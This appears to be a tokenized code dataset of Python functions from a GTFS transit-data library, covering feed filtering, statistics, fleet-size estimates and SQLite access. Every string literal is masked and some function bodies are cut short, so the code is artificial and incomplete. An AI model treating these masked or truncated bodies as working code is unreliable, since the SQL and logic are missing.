{"signature": "def _filter_by_agency(self):", "body": "if self.agency_ids_to_preserve is not None:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>agency_ids_to_preserve = list(self.agency_ids_to_preserve)<EOL>agencies = pandas.read_sql(\"<STR_LIT>\", self.copy_db_conn)<EOL>agencies_to_remove = []<EOL>for idx, row in agencies.iterrows():<EOL><INDENT>if row['<STR_LIT>'] not in agency_ids_to_preserve:<EOL><INDENT>agencies_to_remove.append(row['<STR_LIT>'])<EOL><DEDENT><DEDENT>for agency_id in agencies_to_remove:<EOL><INDENT>self.copy_db_conn.execute('<STR_LIT>', (agency_id,))<EOL><DEDENT>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.commit()<EOL>return FILTERED<EOL><DEDENT>else:<EOL><INDENT>return NOT_FILTERED<EOL><DEDENT>", "docstring": "filter by agency ids\n:param copy_db_conn:\n:param agency_ids_to_preserve:\n:return:", "id": "f12919:c0:m5"}
{"signature": "def _filter_spatially(self):", "body": "if self.buffer_lat is None or self.buffer_lon is None or self.buffer_distance_km is None:<EOL><INDENT>return NOT_FILTERED<EOL><DEDENT>print(\"<STR_LIT>\" + str(self.buffer_lat) +<EOL>\"<STR_LIT>\" + str(self.buffer_lon) +<EOL>\"<STR_LIT>\" + str(self.buffer_distance_km))<EOL>remove_all_trips_fully_outside_buffer(self.copy_db_conn,<EOL>self.buffer_lat,<EOL>self.buffer_lon,<EOL>self.buffer_distance_km,<EOL>update_secondary_data=False)<EOL>logging.info(\"<STR_LIT>\")<EOL>find_distance_func_name = add_wgs84_distance_function_to_db(self.copy_db_conn)<EOL>assert find_distance_func_name == \"<STR_LIT>\"<EOL>stop_distance_filter_sql_base = (<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\"<EOL>)<EOL>stops_within_buffer_sql = stop_distance_filter_sql_base.format(<EOL>buffer_lat=float(self.buffer_lat),<EOL>buffer_lon=float(self.buffer_lon),<EOL>buffer_distance_meters=int(self.buffer_distance_km * <NUM_LIT:1000>)<EOL>)<EOL>stops_within_buffer = set(row[<NUM_LIT:0>] for row in self.copy_db_conn.execute(stops_within_buffer_sql))<EOL>stops_within_buffer_string = \"<STR_LIT:(>\" +\"<STR_LIT:U+002C>\".join(str(stop_I) for stop_I in stops_within_buffer) +  \"<STR_LIT:)>\"<EOL>trip_min_max_include_seq_sql =  (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(stop_I_list=stops_within_buffer_string)<EOL>trip_I_min_seq_max_seq_df = pandas.read_sql(trip_min_max_include_seq_sql, self.copy_db_conn)<EOL>for trip_I_seq_row in trip_I_min_seq_max_seq_df.itertuples():<EOL><INDENT>trip_I = trip_I_seq_row.trip_I<EOL>min_seq = trip_I_seq_row.min_seq<EOL>max_seq = trip_I_seq_row.max_seq<EOL>if min_seq == max_seq:<EOL><INDENT>self.copy_db_conn.execute(\"<STR_LIT>\".format(trip_I=trip_I))<EOL>self.copy_db_conn.execute(\"<STR_LIT>\".format(trip_I=trip_I))<EOL><DEDENT>else:<EOL><INDENT>DELETE_STOP_TIME_ENTRIES_SQL =\"<STR_LIT>\".format(trip_I=trip_I, max_seq=max_seq, min_seq=min_seq)<EOL>self.copy_db_conn.execute(DELETE_STOP_TIME_ENTRIES_SQL)<EOL>STOPS_NOT_WITHIN_BUFFER__FOR_TRIP_SQL =\"<STR_LIT>\".format(stops_within_hard_buffer=stops_within_buffer_string, trip_I=trip_I)<EOL>stop_times_within_buffer_df = pandas.read_sql(STOPS_NOT_WITHIN_BUFFER__FOR_TRIP_SQL, self.copy_db_conn)<EOL>if stop_times_within_buffer_df['<STR_LIT>'].all():<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>_split_trip(self.copy_db_conn, trip_I, stop_times_within_buffer_df)<EOL><DEDENT><DEDENT><DEDENT>SHAPE_IDS_NOT_WITHIN_BUFFER_SQL =\"<STR_LIT>\"\"<STR_LIT>\".format(buffer_lat=self.buffer_lat,<EOL>buffer_lon=self.buffer_lon,<EOL>buffer_distance_meters=self.buffer_distance_km * <NUM_LIT:1000>)<EOL>DELETE_ALL_SHAPE_IDS_NOT_WITHIN_BUFFER_SQL = \"<STR_LIT>\"+ SHAPE_IDS_NOT_WITHIN_BUFFER_SQL + \"<STR_LIT:)>\"<EOL>self.copy_db_conn.execute(DELETE_ALL_SHAPE_IDS_NOT_WITHIN_BUFFER_SQL)<EOL>SET_SHAPE_ID_TO_NULL_FOR_HARD_BUFFER_FILTERED_SHAPE_IDS =\"<STR_LIT>\" + SHAPE_IDS_NOT_WITHIN_BUFFER_SQL + \"<STR_LIT:)>\"<EOL>self.copy_db_conn.execute(SET_SHAPE_ID_TO_NULL_FOR_HARD_BUFFER_FILTERED_SHAPE_IDS)<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self.copy_db_conn.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>delete_stops_not_in_stop_times_and_not_as_parent_stop(self.copy_db_conn)<EOL>self.copy_db_conn.execute(DELETE_TRIPS_NOT_REFERENCED_IN_STOP_TIMES)<EOL>self.copy_db_conn.execute(DELETE_ROUTES_NOT_PRESENT_IN_TRIPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_AGENCIES_NOT_REFERENCED_IN_ROUTES_SQL)<EOL>self.copy_db_conn.execute(DELETE_SHAPES_NOT_REFERENCED_IN_TRIPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_STOP_DISTANCE_ENTRIES_WITH_NONEXISTENT_STOPS_SQL)<EOL>self.copy_db_conn.execute(DELETE_FREQUENCIES_ENTRIES_NOT_PRESENT_IN_TRIPS)<EOL>remove_dangling_shapes(self.copy_db_conn)<EOL>self.copy_db_conn.commit()<EOL>return FILTERED<EOL>", "docstring": "Filter the feed based on self.buffer_distance_km from self.buffer_lon and self.buffer_lat.\n\n1. First include all stops that are within self.buffer_distance_km from self.buffer_lon and self.buffer_lat.\n2. Then include all intermediate stops that are between any of the included stop pairs with some PT trip.\n3. Repeat step 2 until no more stops are to be included.\n\nAs a summary this process should get rid of PT network tendrils, but should preserve the PT network intact\nat its core.", "id": "f12919:c0:m6"}
{"signature": "def get_spatial_bounds(gtfs, as_dict=False):", "body": "stats = get_stats(gtfs)<EOL>lon_min = stats['<STR_LIT>']<EOL>lon_max = stats['<STR_LIT>']<EOL>lat_min = stats['<STR_LIT>']<EOL>lat_max = stats['<STR_LIT>']<EOL>if as_dict:<EOL><INDENT>return {'<STR_LIT>': lon_min, '<STR_LIT>': lon_max, '<STR_LIT>': lat_min, '<STR_LIT>': lat_max}<EOL><DEDENT>else:<EOL><INDENT>return lon_min, lon_max, lat_min, lat_max<EOL><DEDENT>", "docstring": "Parameters\n----------\ngtfs\n\nReturns\n-------\nmin_lon: float\nmax_lon: float\nmin_lat: float\nmax_lat: float", "id": "f12921:m0"}
{"signature": "def get_median_lat_lon_of_stops(gtfs):", "body": "stops = gtfs.get_table(\"<STR_LIT>\")<EOL>median_lat = numpy.percentile(stops['<STR_LIT>'].values, <NUM_LIT:50>)<EOL>median_lon = numpy.percentile(stops['<STR_LIT>'].values, <NUM_LIT:50>)<EOL>return median_lat, median_lon<EOL>", "docstring": "Get median latitude AND longitude of stops\n\nParameters\n----------\ngtfs: GTFS\n\nReturns\n-------\nmedian_lat : float\nmedian_lon : float", "id": "f12921:m2"}
{"signature": "def get_centroid_of_stops(gtfs):", "body": "stops = gtfs.get_table(\"<STR_LIT>\")<EOL>mean_lat = numpy.mean(stops['<STR_LIT>'].values)<EOL>mean_lon = numpy.mean(stops['<STR_LIT>'].values)<EOL>return mean_lat, mean_lon<EOL>", "docstring": "Get mean latitude AND longitude of stops\n\nParameters\n----------\ngtfs: GTFS\n\nReturns\n-------\nmean_lat : float\nmean_lon : float", "id": "f12921:m3"}
{"signature": "def write_stats_as_csv(gtfs, path_to_csv, re_write=False):", "body": "stats_dict = get_stats(gtfs)<EOL>if re_write:<EOL><INDENT>os.remove(path_to_csv)<EOL>", "docstring": "Writes data from get_stats to csv file\n\nParameters\n----------\ngtfs: GTFS\npath_to_csv: str\n    filepath to the csv file to be generated\nre_write:\n    insted of appending, create a new one.", "id": "f12921:m4"}
{"signature": "def get_stats(gtfs):", "body": "stats = {}<EOL>for table in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>stats[\"<STR_LIT>\" + table] = gtfs.get_row_count(table)<EOL><DEDENT>agencies = gtfs.get_table(\"<STR_LIT>\")<EOL>stats[\"<STR_LIT>\"] = \"<STR_LIT:_>\".join(agencies['<STR_LIT:name>'].values)<EOL>stops = gtfs.get_table(\"<STR_LIT>\")<EOL>lats = stops['<STR_LIT>'].values<EOL>lons = stops['<STR_LIT>'].values<EOL>percentiles = [<NUM_LIT:0>, <NUM_LIT:10>, <NUM_LIT:50>, <NUM_LIT>, <NUM_LIT:100>]<EOL>try:<EOL><INDENT>lat_percentiles = numpy.percentile(lats, percentiles)<EOL><DEDENT>except IndexError:<EOL><INDENT>lat_percentiles = [None] * <NUM_LIT:5><EOL><DEDENT>lat_min, lat_10, lat_median, lat_90, lat_max = lat_percentiles<EOL>stats[\"<STR_LIT>\"] = lat_min<EOL>stats[\"<STR_LIT>\"] = lat_10<EOL>stats[\"<STR_LIT>\"] = lat_median<EOL>stats[\"<STR_LIT>\"] = lat_90<EOL>stats[\"<STR_LIT>\"] = lat_max<EOL>try:<EOL><INDENT>lon_percentiles = numpy.percentile(lons, percentiles)<EOL><DEDENT>except IndexError:<EOL><INDENT>lon_percentiles = [None] * <NUM_LIT:5><EOL><DEDENT>lon_min, lon_10, lon_median, lon_90, lon_max = lon_percentiles<EOL>stats[\"<STR_LIT>\"] = lon_min<EOL>stats[\"<STR_LIT>\"] = lon_10<EOL>stats[\"<STR_LIT>\"] = lon_median<EOL>stats[\"<STR_LIT>\"] = lon_90<EOL>stats[\"<STR_LIT>\"] = lon_max<EOL>if len(lats) > <NUM_LIT:0>:<EOL><INDENT>stats[\"<STR_LIT>\"] = wgs84_distance(lat_min, lon_median, lat_max, lon_median) / <NUM_LIT><EOL>stats[\"<STR_LIT>\"] = wgs84_distance(lon_min, lat_median, lon_max, lat_median) / <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>stats[\"<STR_LIT>\"] = None<EOL>stats[\"<STR_LIT>\"] = None<EOL><DEDENT>first_day_start_ut, last_day_start_ut = gtfs.get_day_start_ut_span()<EOL>stats[\"<STR_LIT>\"] = first_day_start_ut<EOL>if last_day_start_ut is None:<EOL><INDENT>stats[\"<STR_LIT>\"] = None<EOL><DEDENT>else:<EOL><INDENT>stats[\"<STR_LIT>\"] = last_day_start_ut + <NUM_LIT> * <NUM_LIT><EOL><DEDENT>stats[\"<STR_LIT>\"] = gtfs.get_min_date()<EOL>stats[\"<STR_LIT>\"] = gtfs.get_max_date()<EOL>max_activity_date = gtfs.execute_custom_query(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>').fetchone()<EOL>if max_activity_date:<EOL><INDENT>stats[\"<STR_LIT>\"] = max_activity_date[<NUM_LIT:1>]<EOL>max_activity_hour = gtfs.get_cursor().execute(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', (stats[\"<STR_LIT>\"],)).fetchone()<EOL>if max_activity_hour:<EOL><INDENT>stats[\"<STR_LIT>\"] = max_activity_hour[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>stats[\"<STR_LIT>\"] = None<EOL><DEDENT><DEDENT>if max_activity_date and max_activity_hour:<EOL><INDENT>fleet_size_estimates = _fleet_size_estimate(gtfs, stats['<STR_LIT>'], stats['<STR_LIT>'])<EOL>stats.update(fleet_size_estimates)<EOL><DEDENT>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT:type>')<EOL>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT>')<EOL>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT>')<EOL>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT>')<EOL>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT>')<EOL>stats['<STR_LIT>'] = _distribution(gtfs, '<STR_LIT>', '<STR_LIT>')<EOL>stats = _feed_calendar_span(gtfs, stats)<EOL>return stats<EOL>", "docstring": "Get basic statistics of the GTFS data.\n\nParameters\n----------\ngtfs: GTFS\n\nReturns\n-------\nstats: dict\n    A dictionary of various statistics.\n    Keys should be strings, values should be inputtable to a database (int, date, str, ...)\n    (but not a list)", "id": "f12921:m5"}
{"signature": "def _distribution(gtfs, table, column):", "body": "cur = gtfs.conn.cursor()<EOL>cur.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(column=column, table=table))<EOL>return '<STR_LIT:U+0020>'.join('<STR_LIT>' % (t, c) for t, c in cur)<EOL>", "docstring": "Count occurrences of values AND return it as a string.\n\n    Example return value:   '1:5 2:15", "id": "f12921:m6"}
{"signature": "def _fleet_size_estimate(gtfs, hour, date):", "body": "results = {}<EOL>fleet_size_list = []<EOL>cur = gtfs.conn.cursor()<EOL>rows = cur.execute(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:(>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:(>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', (hour, hour, date, date))<EOL>for row in rows:<EOL><INDENT>fleet_size_list.append(str(row[<NUM_LIT:0>]) + '<STR_LIT::>' + str(row[<NUM_LIT:1>]))<EOL><DEDENT>results['<STR_LIT>'] = \"<STR_LIT:U+0020>\".join(fleet_size_list)<EOL>fleet_size_list = []<EOL>fleet_size_dict = {}<EOL>if hour:<EOL><INDENT>for minute in range(hour * <NUM_LIT>, (hour + <NUM_LIT:1>) * <NUM_LIT>, <NUM_LIT>):<EOL><INDENT>rows = gtfs.conn.cursor().execute(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>(minute, minute, date))<EOL>for row in rows:<EOL><INDENT>if fleet_size_dict.get(row[<NUM_LIT:0>], <NUM_LIT:0>) < row[<NUM_LIT:1>]:<EOL><INDENT>fleet_size_dict[row[<NUM_LIT:0>]] = row[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for key in fleet_size_dict.keys():<EOL><INDENT>fleet_size_list.append(str(key) + '<STR_LIT::>' + str(fleet_size_dict[key]))<EOL><DEDENT>results[\"<STR_LIT>\"] = '<STR_LIT:U+0020>'.join(fleet_size_list)<EOL>return results<EOL>", "docstring": "Calculates fleet size estimates by two separate formula:\n 1. Considering all routes separately with no interlining and doing a deficit calculation at every terminal\n 2. By looking at the maximum number of vehicles in simultaneous movement\n\nParameters\n----------\ngtfs: GTFS\nhour: int\ndate: ?\n\nReturns\n-------\nresults: dict\n    a dict with keys:\n        fleet_size_route_based\n        fleet_size_max_movement", "id": "f12921:m7"}
{"signature": "def _feed_calendar_span(gtfs, stats):", "body": "n_feeds = _n_gtfs_sources(gtfs)[<NUM_LIT:0>]<EOL>max_start = None<EOL>min_end = None<EOL>if n_feeds > <NUM_LIT:1>:<EOL><INDENT>for i in range(n_feeds):<EOL><INDENT>feed_key = \"<STR_LIT>\" + str(i) + \"<STR_LIT:_>\"<EOL>start_key = feed_key + \"<STR_LIT>\"<EOL>end_key = feed_key + \"<STR_LIT>\"<EOL>calendar_span = gtfs.conn.cursor().execute(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', (feed_key + '<STR_LIT:%>',)).fetchone()<EOL>stats[start_key] = calendar_span[<NUM_LIT:0>]<EOL>stats[end_key] = calendar_span[<NUM_LIT:1>]<EOL>if calendar_span[<NUM_LIT:0>] is not None and calendar_span[<NUM_LIT:1>] is not None:<EOL><INDENT>if not max_start and not min_end:<EOL><INDENT>max_start = calendar_span[<NUM_LIT:0>]<EOL>min_end = calendar_span[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>if gtfs.get_day_start_ut(calendar_span[<NUM_LIT:0>]) > gtfs.get_day_start_ut(max_start):<EOL><INDENT>max_start = calendar_span[<NUM_LIT:0>]<EOL><DEDENT>if gtfs.get_day_start_ut(calendar_span[<NUM_LIT:1>]) < gtfs.get_day_start_ut(min_end):<EOL><INDENT>min_end = calendar_span[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>stats[\"<STR_LIT>\"] = max_start<EOL>stats[\"<STR_LIT>\"] = min_end<EOL><DEDENT>else:<EOL><INDENT>stats[\"<STR_LIT>\"] = stats[\"<STR_LIT>\"]<EOL>stats[\"<STR_LIT>\"] = stats[\"<STR_LIT>\"]<EOL><DEDENT>return stats<EOL>", "docstring": "Computes the temporal coverage of each source feed\n\nParameters\n----------\ngtfs: gtfspy.GTFS object\nstats: dict\n    where to append the stats\n\nReturns\n-------\nstats: dict", "id": "f12921:m9"}
{"signature": "def update_stats(gtfs):", "body": "stats = get_stats(gtfs)<EOL>gtfs.update_stats(stats)<EOL>", "docstring": "Computes stats AND stores them into the underlying gtfs object (i.e. database).\n\nParameters\n----------\ngtfs: GTFS", "id": "f12921:m10"}
{"signature": "def trip_stats(gtfs, results_by_mode=False):", "body": "conn = gtfs.conn<EOL>conn.create_function(\"<STR_LIT>\", <NUM_LIT:4>, wgs84_distance)<EOL>cur = conn.cursor()<EOL>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'<EOL>q_result = pd.read_sql_query(query, conn)<EOL>q_result['<STR_LIT>'] = <NUM_LIT> * q_result['<STR_LIT>'] / q_result['<STR_LIT>']<EOL>q_result['<STR_LIT>'] = q_result['<STR_LIT>'] / <NUM_LIT:1000><EOL>q_result['<STR_LIT>'] = q_result['<STR_LIT>'] / <NUM_LIT><EOL>q_result = q_result.loc[q_result['<STR_LIT>'] != float(\"<STR_LIT>\")]<EOL>if results_by_mode:<EOL><INDENT>q_results = {}<EOL>for type in q_result['<STR_LIT:type>'].unique().tolist():<EOL><INDENT>q_results[type] = q_result.loc[q_result['<STR_LIT:type>'] == type]<EOL><DEDENT>return q_results<EOL><DEDENT>else:<EOL><INDENT>return q_result<EOL><DEDENT>", "docstring": "Parameters\n----------\ngtfs: GTFS\nresults_by_mode: bool\n\nReturns\n-------\nif results_by_mode is False:\n    q_result: pandas.DataFrame\nif results_by_mode is True:\n    q_results: dict\n        a dict with the following keys:\n            [ADD HERE]", "id": "f12921:m11"}
{"signature": "def route_frequencies(gtfs, results_by_mode=False):", "body": "day = gtfs.get_suitable_date_for_daily_extract()<EOL>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(day=day))<EOL>return pd.DataFrame(gtfs.execute_custom_query_pandas(query))<EOL>", "docstring": "Return the frequency of all types of routes per day.\n\nParameters\n-----------\ngtfs: GTFS\n\nReturns\n-------\npandas.DataFrame with columns\n    route_I, type, frequency", "id": "f12921:m13"}
{"signature": "def hourly_frequencies(gtfs, st, et, route_type):", "body": "timeframe = et-st<EOL>hours = timeframe/ <NUM_LIT><EOL>day = gtfs.get_suitable_date_for_daily_extract()<EOL>stops = gtfs.get_stops_for_route_type(route_type).T.drop_duplicates().T<EOL>query = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(h=hours, st=st, et=et, day=day))<EOL>try:<EOL><INDENT>trips_frequency = gtfs.execute_custom_query_pandas(query).T.drop_duplicates().T<EOL>df = pd.merge(stops[['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']], trips_frequency[['<STR_LIT>', '<STR_LIT>']],<EOL>on='<STR_LIT>', how='<STR_LIT>')<EOL>return df.apply(pd.to_numeric)<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Return all the number of vehicles (i.e. busses,trams,etc) that pass hourly through a stop in a time frame.\n\nParameters\n----------\ngtfs: GTFS\nst : int\n    start time of the time framein unix time\net : int\n    end time of the time frame in unix time\nroute_type: int\n\nReturns\n-------\nnumeric pandas.DataFrame with columns\n    stop_I, lat, lon, frequency", "id": "f12921:m14"}
{"signature": "def get_vehicle_hours_by_type(gtfs, route_type):", "body": "day = gtfs.get_suitable_date_for_daily_extract()<EOL>query = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(day=day, route_type=route_type))<EOL>df = gtfs.execute_custom_query_pandas(query)<EOL>return df['<STR_LIT>'].item()<EOL>", "docstring": "Return the sum of vehicle hours in a particular day by route type.", "id": "f12921:m17"}
{"signature": "def trips_frequencies(gtfs):", "body": "query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return(gtfs.execute_custom_query_pandas(query))<EOL>", "docstring": "Get the frequency of trip_I in a particular day", "id": "f12921:m18"}
{"signature": "def __init__(self, fname_or_conn):", "body": "if isinstance(fname_or_conn, string_types):<EOL><INDENT>if os.path.isfile(fname_or_conn):<EOL><INDENT>self.conn = sqlite3.connect(fname_or_conn)<EOL>self.fname = fname_or_conn<EOL>self.conn.execute('<STR_LIT>')<EOL>self.conn.execute('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\" + fname_or_conn + \"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif isinstance(fname_or_conn, sqlite3.Connection):<EOL><INDENT>self.conn = fname_or_conn<EOL>self._dont_close = True<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>\"<STR_LIT>\" + str(type(fname_or_conn)) + \"<STR_LIT>\")<EOL><DEDENT>assert self.conn.execute(\"<STR_LIT>\").fetchone() is not None<EOL>self.meta = GTFSMetadata(self.conn)<EOL>self.conn.create_function(\"<STR_LIT>\", <NUM_LIT:4>, wgs84_distance)<EOL>self._timezone = pytz.timezone(self.get_timezone_name())<EOL>", "docstring": "Open a GTFS object\n\n        Parameters\n        ----------\n        fname_or_conn: str | sqlite3.Connection\n            path to the preprocessed gtfs database or a connection to a gtfs database", "id": "f12922:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_directory_as_inmemory_db(cls, gtfs_directory):<DEDENT>", "body": "<EOL>from gtfspy.import_gtfs import import_gtfs<EOL>conn = sqlite3.connect(\"<STR_LIT>\")<EOL>import_gtfs(gtfs_directory,<EOL>conn,<EOL>preserve_connection=True,<EOL>print_progress=False)<EOL>return cls(conn)<EOL>", "docstring": "Instantiate a GTFS object by computing\n\nParameters\n----------\ngtfs_directory: str\n    path to the directory for importing the database", "id": "f12922:c0:m2"}
{"signature": "def get_main_database_path(self):", "body": "cur = self.conn.cursor()<EOL>cur.execute(\"<STR_LIT>\")<EOL>rows = cur.fetchall()<EOL>for row in rows:<EOL><INDENT>if row[<NUM_LIT:1>] == str(\"<STR_LIT>\"):<EOL><INDENT>return row[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>", "docstring": "Should return the path to the database\n\nReturns\n-------\npath : unicode\n    path to the database, empty string for in-memory databases", "id": "f12922:c0:m3"}
{"signature": "def get_shape_distance_between_stops(self, trip_I, from_stop_seq, to_stop_seq):", "body": "query_template = \"<STR_LIT>\"<EOL>stop_seqs = [from_stop_seq, to_stop_seq]<EOL>shape_breaks = []<EOL>for seq in stop_seqs:<EOL><INDENT>q = query_template.format(seq=seq, trip_I=trip_I)<EOL>shape_breaks.append(self.conn.execute(q).fetchone())<EOL><DEDENT>query_template = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>distance_query = query_template.format(trip_I=trip_I, from_stop_seq=from_stop_seq, to_stop_seq=to_stop_seq)<EOL>return self.conn.execute(distance_query).fetchone()[<NUM_LIT:0>]<EOL>", "docstring": "Get the distance along a shape between stops\n\nParameters\n----------\ntrip_I : int\n    trip_ID along which we travel\nfrom_stop_seq : int\n    the sequence number of the 'origin' stop\nto_stop_seq : int\n    the sequence number of the 'destination' stop\n\nReturns\n-------\ndistance : float, None\n    If the shape calculation succeeded, return a float, otherwise return None\n    (i.e. in the case where the shapes table is empty)", "id": "f12922:c0:m5"}
{"signature": "def get_directly_accessible_stops_within_distance(self, stop, distance):", "body": "query = \"\"\"<STR_LIT>\"\"\" % (stop, distance)<EOL>return pd.read_sql_query(query, self.conn)<EOL>", "docstring": "Returns stops that are accessible without transfer from the stops that are within a specific walking distance\n:param stop: int\n:param distance: int\n:return:", "id": "f12922:c0:m8"}
{"signature": "def get_cursor(self):", "body": "return self.conn.cursor()<EOL>", "docstring": "Return a cursor to the underlying sqlite3 object", "id": "f12922:c0:m9"}
{"signature": "def get_table(self, table_name):", "body": "return pd.read_sql(\"<STR_LIT>\" + table_name, self.conn)<EOL>", "docstring": "Return a pandas.DataFrame object corresponding to the sql table\n\nParameters\n----------\ntable_name: str\n    name of the table in the database\n\nReturns\n-------\ndf : pandas.DataFrame", "id": "f12922:c0:m10"}
{"signature": "def get_row_count(self, table):", "body": "return self.conn.cursor().execute(\"<STR_LIT>\" + table).fetchone()[<NUM_LIT:0>]<EOL>", "docstring": "Get number of rows in a table", "id": "f12922:c0:m11"}
{"signature": "def get_table_names(self):", "body": "return list(pd.read_sql(\"<STR_LIT>\", self.conn)[\"<STR_LIT:name>\"])<EOL>", "docstring": "Return a list of the underlying tables in the database.\n\nReturns\n-------\ntable_names: list[str]", "id": "f12922:c0:m12"}
{"signature": "def set_current_process_time_zone(self):", "body": "TZ = self.conn.execute('<STR_LIT>').fetchall()[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>return set_process_timezone(TZ)<EOL>", "docstring": "This function queries a GTFS connection, finds the timezone of this\ndatabase, and sets it in the TZ environment variable.  This is a\nprocess-global configuration, by the nature of the C library!\n\nReturns\n-------\nNone\n\nAlters os.environ['TZ']", "id": "f12922:c0:m13"}
{"signature": "def get_timezone_name(self):", "body": "tz_name = self.conn.execute('<STR_LIT>').fetchone()<EOL>if tz_name is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return tz_name[<NUM_LIT:0>]<EOL>", "docstring": "Get name of the GTFS timezone\n\nReturns\n-------\ntimezone_name : str\n    name of the time zone, e.g. \"Europe/Helsinki\"", "id": "f12922:c0:m15"}
